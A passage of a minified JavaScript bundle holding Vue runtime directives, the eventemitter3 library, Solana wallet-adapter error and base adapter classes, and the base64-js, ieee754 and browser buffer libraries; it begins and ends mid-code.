a=e.value;n&&(a=a.trim()),i&&(a=V0(a)),e[hs](a)}),n&&Ps(e,"change",()=>{e.value=e.value.trim()}),t||(Ps(e,"compositionstart",jK),Ps(e,"compositionend",Uq),Ps(e,"change",Uq))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,modifiers:{lazy:n,trim:r,number:o}},i){if(e[hs]=Ju(i),e.composing)return;const s=o||e.type==="number"?V0(e.value):e.value,a=t??"";s!==a&&(document.activeElement===e&&e.type!=="range"&&(n||r&&e.value.trim()===a)||(e.value=a))}},fp={deep:!0,created(e,t,n){e[hs]=Ju(n),Ps(e,"change",()=>{const r=e._modelValue,o=jA(e),i=e.checked,s=e[hs];if(Ve(r)){const a=xE(r,o),l=a!==-1;if(i&&!l)s(r.concat(o));else if(!i&&l){const u=[...r];u.splice(a,1),s(u)}}else if(Hp(r)){const a=new Set(r);i?a.add(o):a.delete(o),s(a)}else s(WA(e,i))})},mounted:Fq,beforeUpdate(e,t,n){e[hs]=Ju(n),Fq(e,t,n)}};function Fq(e,{value:t,oldValue:n},r){e._modelValue=t,Ve(t)?e.checked=xE(t,r.props.value)>-1:Hp(t)?e.checked=t.has(r.props.value):t!==n&&(e.checked=Gu(t,WA(e,!0)))}const NA={created(e,{value:t},n){e.checked=Gu(t,n.props.value),e[hs]=Ju(n),Ps(e,"change",()=>{e[hs](jA(e))})},beforeUpdate(e,{value:t,oldValue:n},r){e[hs]=Ju(r),t!==n&&(e.checked=Gu(t,r.props.value))}};function jA(e){return"_value"in e?e._value:e.value}function WA(e,t){const n=t?"_trueValue":"_falseValue";return n in e?e[n]:t}const WK=["ctrl","shift","alt","meta"],GK={stop:e=>e.stopPropagation(),prevent:e=>e.preventDefault(),self:e=>e.target!==e.currentTarget,ctrl:e=>!e.ctrlKey,shift:e=>!e.shiftKey,alt:e=>!e.altKey,meta:e=>!e.metaKey,left:e=>"button"in e&&e.button!==0,middle:e=>"button"in e&&e.button!==1,right:e=>"button"in e&&e.button!==2,exact:(e,t)=>WK.some(n=>e[`${n}Key`]&&!t.includes(n))},rt=(e,t)=>{const n=e._withMods||(e._withMods={}),r=t.join(".");return n[r]||(n[r]=(o,...i)=>{for(let s=0;s<t.length;s++){const a=GK[t[s]];if(a&&a(o,t))return}return e(o,...i)})},YK={esc:"escape",space:" ",up:"arrow-up",left:"arrow-left",right:"arrow-right",down:"arrow-down",delete:"backspace"},un=(e,t)=>{const n=e._withKeys||(e._withKeys={}),r=t.join(".");return n[r]||(n[r]=o=>{if(!("key"in o))return;const i=ba(o.key);if(t.some(s=>s===i||YK[s]===i))return e(o)})},BK=sr({patchProp:zK},hK);let Hq;function GA(){return Hq||(Hq=Uz(BK))}const da=(...e)=>{GA().render(...e)},YA=(...e)=>{const t=GA().createApp(...e),{mount:n}=t;return t.mount=r=>{const o=VK(r);if(!o)return;const i=t._component;!ot(i)&&!i.render&&!i.template&&(i.template=o.innerHTML),o.innerHTML="";const s=n(o,!1,JK(o));return o instanceof Element&&(o.removeAttribute("v-cloak"),o.setAttribute("data-v-app","")),s},t};function JK(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function VK(e){return st(e)?document.querySelector(e):e}const kb=(e,t)=>{const n=e.__vccOpts||e;for(const[r,o]of t)n[r]=o;return n};var er=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function _n(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function sm(e){if(e.__esModule)return e;var t=e.default;if(typeof t=="function"){var n=function r(){return this instanceof r?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};n.prototype=t.prototype}else n={};return Object.defineProperty(n,"__esModule",{value:!0}),Object.keys(e).forEach(function(r){var o=Object.getOwnPropertyDescriptor(e,r);Object.defineProperty(n,r,o.get?o:{enumerable:!0,get:function(){return e[r]}})}),n}var pv={exports:{}},Pq;function xb(){return Pq||(Pq=1,function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function o(l,u,c){this.fn=l,this.context=u,this.once=c||!1}function i(l,u,c,f,p){if(typeof c!="function")throw new TypeError("The listener must be a function");var m=new o(c,f||l,p),g=n?n+u:u;return l._events[g]?l._events[g].fn?l._events[g]=[l._events[g],m]:l._events[g].push(m):(l._events[g]=m,l._eventsCount++),l}function s(l,u){--l._eventsCount===0?l._events=new r:delete l._events[u]}function a(){this._events=new r,this._eventsCount=0}a.prototype.eventNames=function(){var u=[],c,f;if(this._eventsCount===0)return u;for(f in c=this._events)t.call(c,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(c)):u},a.prototype.listeners=function(u){var c=n?n+u:u,f=this._events[c];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,m=f.length,g=new Array(m);p<m;p++)g[p]=f[p].fn;return g},a.prototype.listenerCount=function(u){var c=n?n+u:u,f=this._events[c];return f?f.fn?1:f.length:0},a.prototype.emit=function(u,c,f,p,m,g){var v=n?n+u:u;if(!this._events[v])return!1;var I=this._events[v],q=arguments.length,M,E;if(I.fn){switch(I.once&&this.removeListener(u,I.fn,void 0,!0),q){case 1:return I.fn.call(I.context),!0;case 2:return I.fn.call(I.context,c),!0;case 3:return I.fn.call(I.context,c,f),!0;case 4:return I.fn.call(I.context,c,f,p),!0;case 5:return I.fn.call(I.context,c,f,p,m),!0;case 6:return I.fn.call(I.context,c,f,p,m,g),!0}for(E=1,M=new Array(q-1);E<q;E++)M[E-1]=arguments[E];I.fn.apply(I.context,M)}else{var x=I.length,R;for(E=0;E<x;E++)switch(I[E].once&&this.removeListener(u,I[E].fn,void 0,!0),q){case 1:I[E].fn.call(I[E].context);break;case 2:I[E].fn.call(I[E].context,c);break;case 3:I[E].fn.call(I[E].context,c,f);break;case 4:I[E].fn.call(I[E].context,c,f,p);break;default:if(!M)for(R=1,M=new Array(q-1);R<q;R++)M[R-1]=arguments[R];I[E].fn.apply(I[E].context,M)}}return!0},a.prototype.on=function(u,c,f){return i(this,u,c,f,!1)},a.prototype.once=function(u,c,f){return i(this,u,c,f,!0)},a.prototype.removeListener=function(u,c,f,p){var m=n?n+u:u;if(!this._events[m])return this;if(!c)return s(this,m),this;var g=this._events[m];if(g.fn)g.fn===c&&(!p||g.once)&&(!f||g.context===f)&&s(this,m);else{for(var v=0,I=[],q=g.length;v<q;v++)(g[v].fn!==c||p&&!g[v].once||f&&g[v].context!==f)&&I.push(g[v]);I.length?this._events[m]=I.length===1?I[0]:I:s(this,m)}return this},a.prototype.removeAllListeners=function(u){var c;return u?(c=n?n+u:u,this._events[c]&&s(this,c)):(this._events=new r,this._eventsCount=0),this},a.prototype.off=a.prototype.removeListener,a.prototype.addListener=a.prototype.on,a.prefixed=n,a.EventEmitter=a,e.exports=a}(pv)),pv.exports}var UK=xb();const FK=_n(UK);class ar extends Error{constructor(t,n){super(t),this.error=n}}class Ti extends ar{constructor(){super(...arguments),this.name="WalletNotReadyError"}}class BA extends ar{constructor(){super(...arguments),this.name="WalletLoadError"}}class Qc extends ar{constructor(){super(...arguments),this.name="WalletConfigError"}}class gs extends ar{constructor(){super(...arguments),this.name="WalletConnectionError"}}class dc extends ar{constructor(){super(...arguments),this.name="WalletDisconnectedError"}}class Il extends ar{constructor(){super(...arguments),this.name="WalletDisconnectionError"}}class dl extends ar{constructor(){super(...arguments),this.name="WalletAccountError"}}class Ni extends ar{constructor(){super(...arguments),this.name="WalletPublicKeyError"}}class In extends ar{constructor(){super(...arguments),this.name="WalletNotConnectedError"}}class zi extends ar{constructor(){super(...arguments),this.name="WalletSendTransactionError"}}class cr extends ar{constructor(){super(...arguments),this.name="WalletSignTransactionError"}}class ql extends ar{constructor(){super(...arguments),this.name="WalletSignMessageError"}}var Wt;(function(e){e.Installed="Installed",e.NotDetected="NotDetected",e.Loadable="Loadable",e.Unsupported="Unsupported"})(Wt||(Wt={}));class JA extends FK{get connected(){return!!this.publicKey}async autoConnect(){await this.connect()}async prepareTransaction(t,n,r={}){const o=this.publicKey;if(!o)throw new In;return t.feePayer=t.feePayer||o,t.recentBlockhash=t.recentBlockhash||(await n.getLatestBlockhash({commitment:r.preflightCommitment,minContextSlot:r.minContextSlot})).blockhash,t}}function am(e){if(typeof window>"u"||typeof document>"u")return;const t=[];function n(){if(e())for(const i of t)i()}const r=setInterval(n,1e3);t.push(()=>clearInterval(r)),document.readyState==="loading"&&(document.addEventListener("DOMContentLoaded",n,{once:!0}),t.push(()=>document.removeEventListener("DOMContentLoaded",n))),document.readyState!=="complete"&&(window.addEventListener("load",n,{once:!0}),t.push(()=>window.removeEventListener("load",n))),n()}function ng(){if(!navigator)return!1;const e=navigator.userAgent.toLowerCase(),t=e.includes("iphone")||e.includes("ipad"),n=e.includes("safari");return t&&n}function Id(e){return"version"in e}class VA extends JA{async sendTransaction(t,n,r={}){let o=!0;try{if(Id(t)){if(!this.supportedTransactionVersions)throw new zi("Sending versioned transactions isn't supported by this wallet");if(!this.supportedTransactionVersions.has(t.version))throw new zi(`Sending transaction version ${t.version} isn't supported by this wallet`);try{t=await this.signTransaction(t);const i=t.serialize();return await n.sendRawTransaction(i,r)}catch(i){throw i instanceof cr?(o=!1,i):new zi(i==null?void 0:i.message,i)}}else try{const{signers:i,...s}=r;t=await this.prepareTransaction(t,n,s),i!=null&&i.length&&t.partialSign(...i),t=await this.signTransaction(t);const a=t.serialize();return await n.sendRawTransaction(a,s)}catch(i){throw i instanceof cr?(o=!1,i):new zi(i==null?void 0:i.message,i)}}catch(i){throw o&&this.emit("error",i),i}}async signAllTransactions(t){for(const r of t)if(Id(r)){if(!this.supportedTransactionVersions)throw new cr("Signing versioned transactions isn't supported by this wallet");if(!this.supportedTransactionVersions.has(r.version))throw new cr(`Signing transaction version ${r.version} isn't supported by this wallet`)}const n=[];for(const r of t)n.push(await this.signTransaction(r));return n}}class Xd extends VA{}const UA="solana:signAndSendTransaction",FA="solana:signMessage",HA="solana:signTransaction",HK="standard:connect",PK="standard:disconnect",DK="standard:events";var mr={},lm={};lm.byteLength=_K;lm.toByteArray=eR;lm.fromByteArray=rR;var Ci=[],ko=[],XK=typeof Uint8Array<"u"?Uint8Array:Array,mv="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var Xl=0,QK=mv.length;Xl<QK;++Xl)Ci[Xl]=mv[Xl],ko[mv.charCodeAt(Xl)]=Xl;ko[45]=62;ko[95]=63;function PA(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");n===-1&&(n=t);var r=n===t?0:4-n%4;return[n,r]}function _K(e){var t=PA(e),n=t[0],r=t[1];return(n+r)*3/4-r}function $K(e,t,n){return(t+n)*3/4-n}function eR(e){var t,n=PA(e),r=n[0],o=n[1],i=new XK($K(e,r,o)),s=0,a=o>0?r-4:r,l;for(l=0;l<a;l+=4)t=ko[e.charCodeAt(l)]<<18|ko[e.charCodeAt(l+1)]<<12|ko[e.charCodeAt(l+2)]<<6|ko[e.charCodeAt(l+3)],i[s++]=t>>16&255,i[s++]=t>>8&255,i[s++]=t&255;return o===2&&(t=ko[e.charCodeAt(l)]<<2|ko[e.charCodeAt(l+1)]>>4,i[s++]=t&255),o===1&&(t=ko[e.charCodeAt(l)]<<10|ko[e.charCodeAt(l+1)]<<4|ko[e.charCodeAt(l+2)]>>2,i[s++]=t>>8&255,i[s++]=t&255),i}function tR(e){return Ci[e>>18&63]+Ci[e>>12&63]+Ci[e>>6&63]+Ci[e&63]}function nR(e,t,n){for(var r,o=[],i=t;i<n;i+=3)r=(e[i]<<16&16711680)+(e[i+1]<<8&65280)+(e[i+2]&255),o.push(tR(r));return o.join("")}function rR(e){for(var t,n=e.length,r=n%3,o=[],i=16383,s=0,a=n-r;s<a;s+=i)o.push(nR(e,s,s+i>a?a:s+i));return r===1?(t=e[n-1],o.push(Ci[t>>2]+Ci[t<<4&63]+"==")):r===2&&(t=(e[n-2]<<8)+e[n-1],o.push(Ci[t>>10]+Ci[t>>4&63]+Ci[t<<2&63]+"=")),o.join("")}var Ob={};/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */Ob.read=function(e,t,n,r,o){var i,s,a=o*8-r-1,l=(1<<a)-1,u=l>>1,c=-7,f=n?o-1:0,p=n?-1:1,m=e[t+f];for(f+=p,i=m&(1<<-c)-1,m>>=-c,c+=a;c>0;i=i*256+e[t+f],f+=p,c-=8);for(s=i&(1<<-c)-1,i>>=-c,c+=r;c>0;s=s*256+e[t+f],f+=p,c-=8);if(i===0)i=1-u;else{if(i===l)return s?NaN:(m?-1:1)*(1/0);s=s+Math.pow(2,r),i=i-u}return(m?-1:1)*s*Math.pow(2,i-r)};Ob.write=function(e,t,n,r,o,i){var s,a,l,u=i*8-o-1,c=(1<<u)-1,f=c>>1,p=o===23?Math.pow(2,-24)-Math.pow(2,-77):0,m=r?0:i-1,g=r?1:-1,v=t<0||t===0&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(a=isNaN(t)?1:0,s=c):(s=Math.floor(Math.log(t)/Math.LN2),t*(l=Math.pow(2,-s))<1&&(s--,l*=2),s+f>=1?t+=p/l:t+=p*Math.pow(2,1-f),t*l>=2&&(s++,l/=2),s+f>=c?(a=0,s=c):s+f>=1?(a=(t*l-1)*Math.pow(2,o),s=s+f):(a=t*Math.pow(2,f-1)*Math.pow(2,o),s=0));o>=8;e[n+m]=a&255,m+=g,a/=256,o-=8);for(s=s<<o|a,u+=o;u>0;e[n+m]=s&255,m+=g,s/=256,u-=8);e[n+m-g]|=v*128};/*!
 * The buffer module from node.js, for the browser.
 *
 * @author   Feross Aboukhadijeh <https://feross.org>
 * @license  MIT
 */(function(e){const t=lm,n=Ob,r=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;e.Buffer=c,e.SlowBuffer=R,e.INSPECT_MAX_BYTES=50;const o=2147483647;e.kMaxLength=o;const{Uint8Array:i,ArrayBuffer:s,SharedArrayBuffer:a}=globalThis;c.TYPED_ARRAY_SUPPORT=l(),!c.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function l(){try{const G=new i(1),O={foo:function(){return 42}};return Object.setPrototypeOf(O,i.prototype),Object.setPrototypeOf(G,O),G.foo()===42}catch{return!1}}Object.defineProperty(c.prototype,"parent",{enumerable:!0,get:function(){if(c.isBuffer(this))return this.buffer}}),Object.defineProperty(c.prototype,"offset",{enumerable:!0,get:function(){if(c.isBuffer(this))return this.byteOffset}});function u(G){if(G>o)throw new RangeError('The value "'+G+'" is invalid for option "size"');const O=new i(G);return Object.setPrototypeOf(O,c.prototype),O}function c(G,O,Z){if(typeof G=="number"){if(typeof O=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return g(G)}return f(G,O,Z)}c.poolSize=8192;function f(G,O,Z){if(typeof G=="string")return v(G,O);if(s.isView(G))return q(G);if(G==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof G);if(Se(G,s)||G&&Se(G.buffer,s)||typeof a<"u"&&(Se(G,a)||G&&Se(G.buffer,a)))return M(G,O,Z);if(typeof G=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');const Y=G.valueOf&&G.valueOf();if(Y!=null&&Y!==G)return c.from(Y,O,Z);const $=E(G);if($)return $;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof G[Symbol.toPrimitive]=="function")return c.from(G[Symbol.toPrimitive]("string"),O,Z);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof G)}c.from=function(G,O,Z){return f(G,O,Z)},Object.setPrototypeOf(c.prototype,i.prototype),Object.setPrototypeOf(c,i);function p(G){if(typeof G!="number")throw new TypeError('"size" argument must be of type number');if(G<0)throw new RangeError('The value "'+G+'" is invalid for option "size"')}function m(G,O,Z){return p(G),G<=0?u(G):O!==void 0?typeof Z=="string"?u(G).fill(O,Z):u(G).fill(O):u(G)}c.alloc=function(G,O,Z){return m(G,O,Z)};function g(G){return p(G),u(G<0?0:x(G)|0)}c.allocUnsafe=function(G){return g(G)},c.allocUnsafeSlow=function(G){return g(G)};function v(G,O){if((typeof O!="string"||O==="")&&(O="utf8"),!c.isEncoding(O))throw new TypeError("Unknown encoding: "+O);const Z=K(G,O)|0;let Y=u(Z);const $=Y.write(G,O);return $!==Z&&(Y=Y.slice(0,$)),Y}function I(G){const O=G.length<0?0:x(G.length)|0,Z=u(O);for(let Y=0;Y<O;Y+=1)Z[Y]=G[Y]&255;return Z}function q(G){if(Se(G,i)){const O=new i(G);return M(O.buffer,O.byteOffset,O.byteLength)}return I(G)}function M(G,O,Z){if(O<0||G.byteLength<O)throw new RangeError('"offset" is outside of buffer bounds');if(G.byteLength<O+(Z||0))throw new RangeError('"length" is outside of buffer bounds');let Y;return O===void 0&&Z===void 0?Y=new i(G):Z===void 0?Y=new i(G,O):Y=new i(G,O,Z),Object.setPrototypeOf(Y,c.prototype),Y}function E(G){if(c.isBuffer(G)){const O=x(G.length)|0,Z=u(O);return Z.length===0||G.copy(Z,0,0,O),Z}if(G.length!==void 0)return typeof G.length!="number"||Ze(G.length)?u(0):I(G);if(G.type==="Buffer"&&Array.isArray(G.data))return I(G.data)}function x(G){if(G>=o)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+o.toString(16)+" bytes");return G|0}function R(G){return+G!=G&&(G=0),c.alloc(+G)}c.isBuffer=function(O){return O!=null&&O._isBuffer===!0&&O!==c.prototype},c.compare=function(O,Z){if(Se(O,i)&&(O=c.from(O,O.offset,O.byteLength)),Se(Z,i)&&(Z=c.from(Z,Z.offset,Z.byteLength)),!c.isBuffer(O)||!c.isBuffer(Z))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(O===Z)return 0;let Y=O.length,$=Z.length;for(let oe=0,ee=Math.min(Y,$);oe<ee;++oe)if(O[oe]!==Z[oe]){Y=O[oe],$=Z[oe];break}return Y<$?-1:$<Y?1:0},c.isEncoding=function(O){switch(String(O).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},c.concat=function(O,Z){if(!Array.isArray(O))throw new TypeError('"list" argument must be an Array of Buffers');if(O.length===0)return c.alloc(0);let Y;if(Z===void 0)for(Z=0,Y=0;Y<O.length;++Y)Z+=O[Y].length;const $=c.allocUnsafe(Z);let oe=0;for(Y=0;Y<O.length;++Y){let ee=O[Y];if(Se(ee,i))oe+ee.length>$.length?(c.isBuffer(ee)||(ee=c.from(ee)),ee.copy($,oe)):i.prototype.set.call($,ee,oe);else if(c.isBuffer(ee))ee.copy($,oe);else throw new TypeError('"list" argument must be an Array of Buffers');oe+=ee.length}return $};function K(G,O){if(c.isBuffer(G))return G.length;if(s.isView(G)||Se(G,s))return G.byteLength;if(typeof G!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof G);const Z=G.length,Y=arguments.length>2&&arguments[2]===!0;if(!Y&&Z===0)return 0;let $=!1;for(;;)switch(O){case"ascii":case"latin1":case"binary":return Z;case"utf8":case"utf-8":return Ae(G).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return Z*2;case"hex":return Z>>>1;case"base64":return Re(G).length;default:if($)return Y?-1:Ae(G).length;O=(""+O).toLowerCase(),$=!0}}c.byteLength=K;function W(G,O,Z){let Y=!1;if((O===void 0||O<0)&&(O=0),O>this.length||((Z===void 0||Z>this.length)&&(Z=this.length),Z<=0)||(Z>>>=0,O>>>=0,Z<=O))return"";for(G||(G="utf8");;)switch(G){case"hex":return y(this,O,Z);case"utf8":case"utf-8":return A(this,O,Z);case"ascii":return z(this,O,Z);case"latin1":case"binary":return k(this,O,Z);case"base64":return w(this,O,Z);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return T(this,O,Z);default:if(Y)throw new TypeError("Unknown encoding: "+G);G=(G+"").toLowerCase(),Y=!0}}c.prototype._isBuffer=!0;function j(G,O,Z){const Y=G[O];G[O]=G[Z],G[Z]=Y}c.prototype.swap16=function(){const O=this.length;if(O%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let Z=0;Z<O;Z+=2)j(this,Z,Z+1);return this},c.prototype.swap32=function(){const O=this.length;if(O%4!==0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(let Z=0;Z<O;Z+=4)j(this,Z,Z+3),j(this,Z+1,Z+2);return this},c.prototype.swap64=function(){const O=this.length;if(O%8!==0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(let Z=0;Z<O;Z+=8)j(this,Z,Z+7),j(this,Z+1,Z+6),j(this,Z+2,Z+5),j(this,Z+3,Z+4);return this},c.prototype.toString=function(){const O=this.length;return O===0?"":arguments.length===0?A(this,0,O):W.apply(this,arguments)},c.prototype.toLocaleString=c.prototype.toString,c.prototype.equals=function(O){if(!c.isBuffer(O))throw new TypeError("Argument must be a Buffer");return this===O?!0:c.compare(this,O)===0},c.prototype.inspect=function(){let O="";const Z=e.INSPECT_MAX_BYTES;return O=this.toString("hex",0,Z).replace(/(.{2})/g,"$1 ").trim(),this.length>Z&&(O+=" ... "),"<Buffer "+O+">"},r&&(c.prototype[r]=c.prototype.inspect),c.prototype.compare=function(O,Z,Y,$,oe){if(Se(O,i)&&(O=c.from(O,O.offset,O.byteLength)),!c.isBuffer(O))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof O);if(Z===void 0&&(Z=0),Y===void 0&&(Y=O?O.length:0),$===void 0&&($=0),oe===void 0&&(oe=this.length),Z<0||Y>O.length||$<0||oe>this.length)throw new RangeError("out of range index");if($>=oe&&Z>=Y)return 0;if($>=oe)return-1;if(Z>=Y)return 1;if(Z>>>=0,Y>>>=0,$>>>=0,oe>>>=0,this===O)return 0;let ee=oe-$,ze=Y-Z;const Te=Math.min(ee,ze),Xe=this.slice($,oe),wt=O.slice(Z,Y);for(let at=0;at<Te;++at)if(Xe[at]!==wt[at]){ee=Xe[at],ze=wt[at];break}return ee<ze?-1:ze<ee?1:0};function H(G,O,Z,Y,$){if(G.length===0)return-1;if(typeof Z=="string"?(Y=Z,Z=0):Z>2147483647?Z=2147483647:Z<-2147483648&&(Z=-2147483648),Z=+Z,Ze(Z)&&(Z=$?0:G.length-1),Z<0&&(Z=G.length+Z),Z>=G.length){if($)return-1;Z=G.length-1}else if(Z<0)if($)Z=0;else return-1;if(typeof O=="string"&&(O=c.from(O,Y)),c.isBuffer(O))return O.length===0?-1:P(G,O,Z,Y,$);if(typeof O=="number")return O=O&255,typeof i.prototype.indexOf=="function"?$?i.prototype.indexOf.call(G,O,Z):i.prototype.lastIndexOf.call(G,O,Z):P(G,[O],Z,Y,$);throw new TypeError("val must be string, number or Buffer")}function P(G,O,Z,Y,$){let oe=1,ee=G.length,ze=O.length;if(Y!==void 0&&(Y=String(Y).toLowerCase(),Y==="ucs2"||Y==="ucs-2"||Y==="utf16le"||Y==="utf-16le")){if(G.length<2||O.length<2)return-1;oe=2,ee/=2,ze/=2,Z/=2}function Te(wt,at){return oe===1?wt[at]:wt.readUInt16BE(at*oe)}let Xe;if($){let wt=-1;for(Xe=Z;Xe<ee;Xe++)if(Te(G,Xe)===Te(O,wt===-1?0:Xe-wt)){if(wt===-1&&(wt=Xe),Xe-wt+1===ze)return wt*oe}else wt!==-1&&(Xe-=Xe-wt),wt=-1}else for(Z+ze>ee&&(Z=ee-ze),Xe=Z;Xe>=0;Xe--){let wt=!0;for(let at=0;at<ze;at++)if(Te(G,Xe+at)!==Te(O,at)){wt=!1;break}if(wt)return Xe}return-1}c.prototype.includes=function(O,Z,Y){return this.indexOf(O,Z,Y)!==-1},c.prototype.indexOf=function(O,Z,Y){return H(this,O,Z,Y,!0)},c.prototype.lastIndexOf=function(O,Z,Y){return H(this,O,Z,Y,!1)};function U(G,O,Z,Y){Z=Number(Z)||0;const $=G.length-Z;Y?(Y=Number(Y),Y>$&&(Y=$)):Y=$;const oe=O.length;Y>oe/2&&(Y=oe/2);let ee;for(ee=0;ee<Y;++ee){const ze=parseInt(O.substr(ee*2,2),16);if(Ze(ze))return ee;G[Z+ee]=ze}return ee}function X(G,O,Z,Y){return Ne(Ae(O,G.length-Z),G,Z,Y)}function L(G,O,Z,Y){return Ne(be(O),G,Z,Y)}function h(G,O,Z,Y){return Ne(Re(O),G,Z,Y)}function b(G,O,Z,Y){return Ne(xe(O,G.length-Z),G,Z,Y)}c.prototype.write=function(O,Z,Y,$){if(Z===void 0)$="utf8",Y=this.length,Z=0;else if(Y===void 0&&typeof Z=="string")$=Z,Y=this.length,Z=0;else if(isFinite(Z))Z=Z>>>0,isFinite(Y)?(Y=Y>>>0,$===void 0&&($="utf8")):($=Y,Y=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");const oe=this.length-Z;if((Y===void 0||Y>oe)&&(Y=oe),O.length>0&&(Y<0||Z<0)||Z>this.length)throw new RangeError("Attempt to write outside buffer bounds");$||($="utf8");let ee=!1;for(;;)switch($){case"hex":return U(this,O,Z,Y);case"utf8":case"utf-8":return X(this,O,Z,Y);case"ascii":case"latin1":case"binary":return L(this,O,Z,Y);case"base64":return h(this,O,Z,Y);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return b(this,O,Z,Y);default:if(ee)throw new TypeError("Unknown encoding: "+$);$=(""+$).toLowerCase(),ee=!0}},c.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function w(G,O,Z){return O===0&&Z===G.length?t.fromByteArray(G):t.fromByteArray(G.slice(O,Z))}function A(G,O,Z){Z=Math.min(G.length,Z);const Y=[];let $=O;for(;$<Z;){const oe=G[$];let ee=null,ze=oe>239?4:oe>223?3:oe>191?2:1;if($+ze<=Z){let Te,Xe,wt,at;switch(ze){case 1:oe<128&&(ee=oe);break;case 2:Te=G[$+1],(Te&192)===128&&(at=(oe&31)<<6|Te&63,at>127&&(ee=at));break;case 3:Te=G[$+1],Xe=G[$+2],(Te&192)===128&&(Xe&192)===128&&(at=(oe&15)<<12|(Te&63)<<6|Xe&63,at>2047&&(at<55296||at>57343)&&(ee=at));break;case 4:Te=G[$+1],Xe=G[$+2],wt=G[$+3],(Te&192)===128&&(Xe&192)===128&&(wt&192)===128&&(at=(oe&15)<<18|(Te&63)<<12|(Xe&63)<<6|wt&63,at>65535&&at<1114112&&(ee=at))}}ee===null?(ee=65533,ze=1):ee>65535&&(ee-=65536,Y.push(ee>>>10&1023|55296),ee=56320|ee&1023),Y.push(ee),$+=ze}return S(Y)}const C=4096;function S(G){const O=G.length;if(O<=C)return String.fromCharCode.apply(String,G);let Z="",Y=0;for(;Y<O;)Z+=String.fromCharCode.apply(String,G.slice(Y,Y+=C));return Z}function z(G,O,Z){let Y="";Z=Math.min(G.length,Z);for(let $=O;$<Z;++$)Y+=String.fromCharCode(G[$]&127);return Y}function k(G,O,Z){let Y="";Z=Math.min(G.length,Z);for(let $=O;$<Z;++$)Y+=String.fromCharCode(G[$]);return Y}function y(G,O,Z){const Y=G.length;(!O||O<0)&&(O=0),(!Z||Z<0||Z>Y)&&(Z=Y);let $="";for(let oe=O;oe<Z;++oe)$+=Q[G[oe]];return $}function T(G,O,Z){const Y=G.slice(O,Z);let $="";for(let oe=0;oe<Y.length-1;oe+=2)$+=String.fromCharCode(Y[oe]+Y[oe+1]*256);return $}c.prototype.slice=function(O,Z){const Y=this.length;O=~~O,Z=Z===void 0?Y:~~Z,O<0?(O+=Y,O<0&&(O=0)):O>Y&&(O=Y),Z<0?(Z+=Y,Z<0&&(Z=0)):Z>Y&&(Z=Y),Z<O&&(Z=O);const $=this.subarray(O,Z);return Object.setPrototypeOf($,c.prototype),$};function te(G,O,Z){if(G%1!==0||G<0)throw new RangeError("offset is not uint");if(G+O>Z)throw new RangeError("Trying to access beyond buffer length")}c.prototype.readUintLE=c.prototype.readUIntLE=function(O,Z,Y){O=O>>>0,Z=Z>>>0,Y||te(O,Z,this.length);let $=this[O],oe=1,ee=0;for(;++ee<Z&&(oe*=256);)$+=this[O+ee]*oe;return $},c.prototype.readUintBE=c.prototype.readUIntBE=function(O,Z,Y){O=O>>>0,Z=Z>>>0,Y||te(O,Z,this.length);let $=this[O+--Z],oe=1;for(;Z>0&&(oe*=256);)$+=this[O+--Z]*oe;return $},c.prototype.readUint8=c.prototype.readUInt8=function(O,Z){return O=O>>>0,Z||te(O,1,this.length),this[O]},c.prototype.readUint16LE=c.prototype.readUInt16LE=function(O,Z){return O=O>>>0,Z||te(O,2,this.length),this[O]|this[O+1]<<8},c.prototype.readUint16BE=c.prototype.readUInt16BE=function(O,Z){return O=O>>>0,Z||te(O,2,this.length),this[O]<<8|this[O+1]},c.prototype.readUint32LE=c.prototype.readUInt32LE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),(this[O]|this[O+1]<<8|this[O+2]<<16)+this[O+3]*16777216},c.prototype.readUint32BE=c.prototype.readUInt32BE=function(O,Z){return O=O>>>0,Z||te(O,4,this.length),this[O]*16777216+(this[O+1]<<16|this[O+2]<<8|this[O+3])},c.prototype.readBigUInt64LE=J(function(O){O=O>>>0,ke(O,"offset");const Z=this[O],Y=this[O+7];(Z===void 